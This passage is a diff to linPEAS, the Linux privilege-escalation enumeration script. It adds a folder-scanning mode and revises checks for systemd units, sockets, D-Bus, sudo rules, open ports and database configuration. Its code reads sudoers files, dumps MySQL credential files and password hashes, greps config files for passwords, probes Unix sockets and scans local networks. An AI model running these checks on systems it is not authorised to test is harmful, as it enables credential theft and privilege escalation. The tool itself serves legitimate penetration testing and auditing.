"https://book.hacktricks.xyz/linux-unix/privilege-escalation#systemd-path-relative-paths" -systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g" -WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders") -echo "" - #-- PSC) .service files #TODO: .service files in MACOS are folders print_2title "Analyzing .service files" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#services" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services" printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do - if [ ! -O "$s" ]; then #Remove services that belongs to the current user - if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then + if [ ! -O "$s" ] || [ "$SEARCH_IN_FOLDER" ]; then #Remove services that belongs to the current user or if firmware see everything + if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g" fi servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths @@ -1807,17 +2432,19 @@ done if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi echo "" -#-- PSC) Timers -print_2title "System timers" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers" -(systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found -echo "" +if ! [ "$SEARCH_IN_FOLDER" ]; then + #-- PSC) Timers + print_2title "System timers" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers" + (systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found + echo "" +fi #-- PSC) .timer files print_2title "Analyzing .timer files" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#timers" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers" printf "%s\n" "$PSTORAGE_TIMER" | while read t; do - if ! [ "$IAMROOT" ] && [ -w "$t" ]; then + if ! [ "$IAMROOT" ] && [ -w "$t" ] && ! [ "$SEARCH_IN_FOLDER" ]; then echo "$t" | sed -${E} "s,.*,${SED_RED},g" fi timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2) @@ -1837,9 +2464,9 @@ echo "" #TODO: .socket files in MACOS are folders if ! [ "$IAMROOT" ]; then print_2title "Analyzing .socket files" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets" printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do - if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ]; then + if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g" fi socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') @@ -1855,27 +2482,27 @@ if ! [ "$IAMROOT" ]; then fi done done - if ! [ "$IAMROOT" ] && [ -w "/var/run/docker.sock" ]; then - echo "Docker socket /var/run/docker.sock is writable (https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket)" | sed "s,/var/run/docker.sock is writable,${SED_RED_YELLOW},g" - fi - if ! [ "$IAMROOT" ] && [ -w "/run/docker.sock" ]; then - echo "Docker socket /run/docker.sock is writable (https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket)" | sed "s,/var/run/docker.sock is writable,${SED_RED_YELLOW},g" - fi echo "" - - print_2title "Unix Sockets Listening" - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets" - # Search sockets using netstat and ss - unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1) - if ! [ "$unix_scks_list" ];then - unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+") - fi - if ! [ "$unix_scks_list" ];then - unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2) + + if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Unix Sockets Listening" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets" + # Search sockets using netstat and ss + unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1) + if ! [ "$unix_scks_list" ];then + unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+") + fi + if ! [ "$unix_scks_list" ];then + unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2) + fi fi - # But also search socket files - unix_scks_list2=$(find / -type s 2>/dev/null) + if ! [ "$SEARCH_IN_FOLDER" ]; then + # But also search socket files + unix_scks_list2=$(find / -type s 2>/dev/null) + else + unix_scks_list2=$(find "SEARCH_IN_FOLDER" -type s 2>/dev/null) + fi # Detele repeated dockets and check permissions (printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2") | sort | uniq | while read l; do @@ -1886,10 +2513,20 @@ if ! [ "$IAMROOT" ]; then if [ -w "$l" ];then perms="${perms}Write" fi + + if [ "$EXTRA_CHECKS" ] && [ "$(command -v curl)" ]; then + CANNOT_CONNECT_TO_SOCKET="$(curl -v --unix-socket "$l" --max-time 1 http:/linpeas 2>&1 | grep -i 'Permission denied')" + if ! [ "$CANNOT_CONNECT_TO_SOCKET" ]; then + perms="${perms} - Can Connect" + else + perms="${perms} - Cannot Connect" + fi + fi + if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g"; else echo "$l" | sed -${E} "s,$l,${SED_RED},g" - echo " └─(${RED}${perms}${NC})" + echo " └─(${RED}${perms}${NC})" | sed -${E} "s,Cannot Connect,${SED_GREEN},g" # Try to contact the socket socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null) if [ $? -eq 0 ]; then @@ -1904,11 +2541,11 @@ fi #-- PSC) Writable and weak policies in D-Bus config files print_2title "D-Bus config files" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#d-bus" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus" if [ "$PSTORAGE_DBUS" ]; then printf "%s\n" "$PSTORAGE_DBUS" | while read d; do for f in $d/*; do - if ! [ "$IAMROOT" ] && [ -w "$f" ]; then + if ! [ "$IAMROOT" ] && [ -w "$f" ] && ! [ "$SEARCH_IN_FOLDER" ]; then echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g" fi @@ -1930,21 +2567,23 @@ if [ "$PSTORAGE_DBUS" ]; then fi echo "" -print_2title "D-Bus Service Objects list" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#d-bus" -dbuslist=$(busctl list 2>/dev/null) -if [ "$dbuslist" ]; then - busctl list | while read line; do - echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"; - if ! echo "$line" | grep -qE "$dbuslistG"; then - srvc_object=$(echo $line | cut -d " " -f1) - srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ') - if [ "$srvc_object_info" ]; then - echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED}," +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "D-Bus Service Objects list" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus" + dbuslist=$(busctl list 2>/dev/null) + if [ "$dbuslist" ]; then + busctl list | while read line; do + echo "$line" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},"; + if ! echo "$line" | grep -qE "$dbuslistG"; then + srvc_object=$(echo $line | cut -d " " -f1) + srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ') + if [ "$srvc_object_info" ]; then + echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED}," + fi fi - fi - done -else echo_not_found "busctl" + done + else echo_not_found "busctl" + fi fi fi @@ -2009,7 +2648,7 @@ fi #-- NI) Ports print_2title "Active Ports" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports" ( (netstat -punta || ss -nltpu || netstat -anv) | grep -i listen) 2>/dev/null | sed -${E} "s,127.0.[0-9]+.[0-9]+|:::|::1:|0\.0\.0\.0,${SED_RED}," echo "" @@ -2048,14 +2687,14 @@ fi print_2title "Can I sniff with tcpdump?" timeout 1 tcpdump >/dev/null 2>&1 if [ $? -eq 124 ]; then #If 124, then timed out == It worked - print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sniffing" + print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sniffing" echo "You can sniff with tcpdump!" | sed -${E} "s,.*,${SED_RED}," else echo_no fi echo "" #-- NI) Internet access -if ! [ "$SUPERFAST" ] && [ "$EXTRA_CHECKS" ] && ! [ "$FAST" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then +if [ "$AUTO_NETWORK_SCAN" ] && [ "$TIMEOUT" ] && [ -f "/bin/bash" ]; then print_2title "Internet Access?" check_tcp_80 2>/dev/null & check_tcp_443 2>/dev/null & @@ -2065,11 +2704,15 @@ if ! [ "$SUPERFAST" ] && [ "$EXTRA_CHECKS" ] && ! [ "$FAST" ] && [ "$TIMEOUT" ] echo "" fi -if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] || [ "$AUTO_NETWORK_SCAN" ]; then - if ! [ "$FOUND_NC" ]; then +if [ "$AUTO_NETWORK_SCAN" ]; then + if ! [ "$FOUND_NC" ] && ! [ "$FOUND_BASH" ]; then printf $RED"[-] $SCAN_BAN_BAD\n$NC" echo "The network is not going to be scanned..." + elif ! [ "$(command -v ifconfig)" ] && ! [ "$(command -v ip a)" ]; then + printf $RED"[-] No ifconfig or ip commands, cannot find local ips\n$NC" + echo "The network is not going to be scanned..." + else print_2title "Scanning local networks (using /24)" @@ -2078,7 +2721,7 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] || [ "$AUTO_NETWORK_SCAN" ]; then fi select_nc - local_ips=$(ip a | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\.") + local_ips=$( (ip a 2>/dev/null || ifconfig) | grep -Eo 'inet[^6]\S+[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | awk '{print $2}' | grep -E "^10\.|^172\.|^192\.168\.|^169\.254\.") printf "%s\n" "$local_ips" | while read local_ip; do if ! [ -z "$local_ip" ]; then print_3title "Discovering hosts in $local_ip/24" @@ -2107,6 +2750,10 @@ if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] || [ "$AUTO_NETWORK_SCAN" ]; then echo "" fi done + + print_3title "Scanning top ports of host.docker.internal" + (tcp_port_scan "host.docker.internal" "" | grep -A 1000 "Ports going to be scanned" | grep -v "Ports going to be scanned" | sort | uniq) 2>/dev/null + echo "" fi fi @@ -2138,6 +2785,7 @@ if [ "$MACOS" ]; then echo "" fi fi + fi echo '' echo '' @@ -2151,7 +2799,7 @@ print_title "Users Information" #-- UI) My user print_2title "My user" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#users" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users" (id || (whoami && groups)) 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g" echo "" @@ -2206,26 +2854,26 @@ fi #-- UI) Sudo -l print_2title "Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid" -(echo '' | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid" +(echo '' | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,\!root,${SED_RED},") 2>/dev/null || echo_not_found "sudo" if [ "$PASSWORD" ]; then - (echo "$PASSWORD" | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW},") 2>/dev/null || echo_not_found "sudo" + (echo "$PASSWORD" | timeout 1 sudo -S -l | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g") 2>/dev/null || echo_not_found "sudo" fi -( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW},") 2>/dev/null || echo_not_found "/etc/sudoers" +( grep -Iv "^$" cat /etc/sudoers | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" ) 2>/dev/null || echo_not_found "/etc/sudoers" if ! [ "$IAMROOT" ] && [ -w '/etc/sudoers.d/' ]; then echo "You can create a file in /etc/sudoers.d/ and escalate privileges" | sed -${E} "s,.*,${SED_RED_YELLOW}," fi for filename in '/etc/sudoers.d/*'; do if [ -r "$filename" ]; then echo "Sudoers file: $filename is readable" | sed -${E} "s,.*,${SED_RED},g" - grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," + grep -Iv "^$" "$filename" | grep -v "#" | sed "s,_proxy,${SED_RED},g" | sed "s,$sudoG,${SED_GREEN},g" | sed -${E} "s,$sudoVB1,${SED_RED_YELLOW}," | sed -${E} "s,$sudoVB2,${SED_RED_YELLOW}," | sed -${E} "s,$sudoB,${SED_RED},g" | sed "s,pwfeedback,${SED_RED},g" fi done echo "" #-- UI) Sudo tokens print_2title "Checking sudo tokens" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation#reusing-sudo-tokens" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#reusing-sudo-tokens" ptrace_scope="$(cat /proc/sys/kernel/yama/ptrace_scope 2>/dev/null)" if [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ]; then echo "ptrace protection is disabled (0)" | sed "s,is disabled,${SED_RED},g"; else echo "ptrace protection is enabled ($ptrace_scope)" | sed "s,is enabled,${SED_GREEN},g"; @@ -2264,7 +2912,7 @@ fi #-- UI) Pkexec policy print_2title "Checking Pkexec policy" -print_info "https://book.hacktricks.xyz/linux-unix/privilege-escalation/interesting-groups-linux-pe#pe-method-2" +print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe#pe-method-2" (cat /etc/polkit-1/localauthority.conf.d/* 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | sed -${E} "s,$groupsB,${SED_RED}," | sed -${E} "s,$groupsVB,${SED_RED}," | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,$USER,${SED_RED_YELLOW}," | sed -${E} "s,$Groups,${SED_RED_YELLOW},") || echo_not_found "/etc/polkit-1/localauthority.conf.d" echo "" @@ -2388,26 +3036,32 @@ print_title "Software Information" #--------) Software Information (---------# ########################################### +NGINX_KNOWN_MODULES="ngx_http_geoip_module.so|ngx_http_xslt_filter_module.so|ngx_stream_geoip_module.so|ngx_http_image_filter_module.so|ngx_mail_module.so|ngx_stream_module.so" + #-- SI) Useful software -print_2title "Useful software" -for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done -echo "" - -#-- SI) Search for compilers -print_2title "Installed Compilers" -(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/"); -echo "" - -if [ "$(command -v pkg 2>/dev/null)" ]; then - print_2title "Vulnerable Packages" - pkg audit -F | sed -${E} "s,vulnerable,${SED_RED},g" - echo "" +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Useful software" + for tool in $USEFUL_SOFTWARE; do command -v "$tool"; done + echo "" fi -if [ "$(command -v brew 2>/dev/null)" ]; then - print_2title "Brew Installed Packages" - brew list - echo "" +#-- SI) Search for compilers +if ! [ "$SEARCH_IN_FOLDER" ]; then + print_2title "Installed Compilers" + (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; command -v gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/"); + echo "" + + if [ "$(command -v pkg 2>/dev/null)" ]; then + print_2title "Vulnerable Packages" + pkg audit -F | sed -${E} "s,vulnerable,${SED_RED},g" + echo "" + fi + + if [ "$(command -v brew 2>/dev/null)" ]; then + print_2title "Brew Installed Packages" + brew list + echo "" + fi fi if [ "$MACPEAS" ]; then @@ -2429,6 +3083,11 @@ fi if [ "$(command -v mysql)" ] || [ "$(command -v mysqladmin)" ] || [ "$DEBUG" ]; then print_2title "MySQL version" mysql --version 2>/dev/null || echo_not_found "mysql" + mysqluser=$(systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1) + if [ "$mysqluser" ]; then + echo "MySQL user: $mysqluser" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," + fi + echo "" echo "" #-- SI) Mysql connection root/root @@ -2464,30 +3123,46 @@ fi if [ "$PSTORAGE_MYSQL" ] || [ "$DEBUG" ]; then print_2title "Searching mysql credentials and exec" printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do - for f in $(find $d -name debian.cnf 2>/dev/null); do - if [ -r "$f" ]; then - echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${SED_RED}," - cat "$f" + if [ -f "$d" ] && ! [ "$(basename $d)" = "mysql" ]; then # Only interested in "mysql" that are folders (filesaren't the ones with creds) + STRINGS="`command -v strings`" + echo "Potential file containing credentials:" + ls -l "$d" + if [ "$STRINGS" ]; then + strings "$d" + else + echo "Strings not found, cat the file and check it to get the creds" fi - done - for f in $(find $d -name user.MYD 2>/dev/null); do - if [ -r "$f" ]; then - echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${SED_RED}," - grep -oaE "[-_\.\*a-Z0-9]{3,}" $f | grep -v "mysql_native_password" - fi - done - for f in $(grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"); do - if [ -r "$f" ]; then - u=$(cat "$f" | grep -v "#" | grep "user" | grep "=" 2>/dev/null) - echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," - fi - done - for f in $(find $d -name my.cnf 2>/dev/null); do - if [ -r "$f" ]; then - echo "Found readable $f" - grep -v "^#" "$f" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed "s,password.*,${SED_RED}," - fi - done + + else + for f in $(find $d -name debian.cnf 2>/dev/null); do + if [ -r "$f" ]; then + echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${SED_RED}," + cat "$f" + fi + done + + for f in $(find $d -name user.MYD 2>/dev/null); do + if [ -r "$f" ]; then + echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${SED_RED}," + grep -oaE "[-_\.\*a-Z0-9]{3,}" "$f" | grep -v "mysql_native_password" + fi + done + + for f in $(grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"); do + if [ -r "$f" ]; then + u=$(cat "$f" | grep -v "#" | grep "user" | grep "=" 2>/dev/null) + echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," + fi + done + + for f in $(find $d -name my.cnf 2>/dev/null); do + if [ -r "$f" ]; then + echo "Found readable $f" + grep -v "^#" "$f" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed "s,password.*,${SED_RED}," + fi + done + fi + mysqlexec=$(whereis lib_mysqludf_sys.so 2>/dev/null | grep "lib_mysqludf_sys\.so") if [ "$mysqlexec" ]; then echo "Found $mysqlexec" @@ -2499,18 +3174,18 @@ echo "" if [ "$PSTORAGE_MARIADB" ] || [ "$DEBUG" ]; then print_2title "Analyzing MariaDB Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_MARIADB\" | grep -E \"mariadb\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mariadb.cnf"; fi; fi; printf "%s" "$PSTORAGE_MARIADB" | grep -E "mariadb\.cnf$" | while read f; do ls -ld "$f" | sed -${E} "s,mariadb\.cnf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,user.*|password.*,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_MARIADB\" | grep -E \"debian\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "debian.cnf"; fi; fi; printf "%s" "$PSTORAGE_MARIADB" | grep -E "debian\.cnf$" | while read f; do ls -ld "$f" | sed -${E} "s,debian\.cnf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "user.*|password.*" | sed -${E} "s,user.*|password.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_MARIADB\" | grep -E \"mariadb\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "mariadb.cnf"; fi; fi; printf "%s" "$PSTORAGE_MARIADB" | grep -E "mariadb\.cnf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,mariadb\.cnf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,user.*|password.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_MARIADB\" | grep -E \"debian\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "debian.cnf"; fi; fi; printf "%s" "$PSTORAGE_MARIADB" | grep -E "debian\.cnf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,debian\.cnf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "user.*|password.*" | sed -${E} "s,user.*|password.*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_POSTGRESQL" ] || [ "$DEBUG" ]; then print_2title "Analyzing PostgreSQL Files (limit 70)" echo "Version: $(warn_exec psql -V 2>/dev/null)" - if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgadmin.*\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pgadmin*.db"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pgadmin.*\.db$" | while read f; do ls -ld "$f" | sed -${E} "s,pgadmin.*\.db$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pg_hba\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pg_hba.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pg_hba\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,pg_hba\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"postgresql\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "postgresql.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "postgresql\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,postgresql\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgsql\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pgsql.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pgsql\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,pgsql\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgadmin.*\.db$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pgadmin*.db"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pgadmin.*\.db$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pgadmin.*\.db$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pg_hba\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pg_hba.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pg_hba\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,pg_hba\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"postgresql\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "postgresql.conf"; fi; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "postgresql\.conf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,postgresql\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | 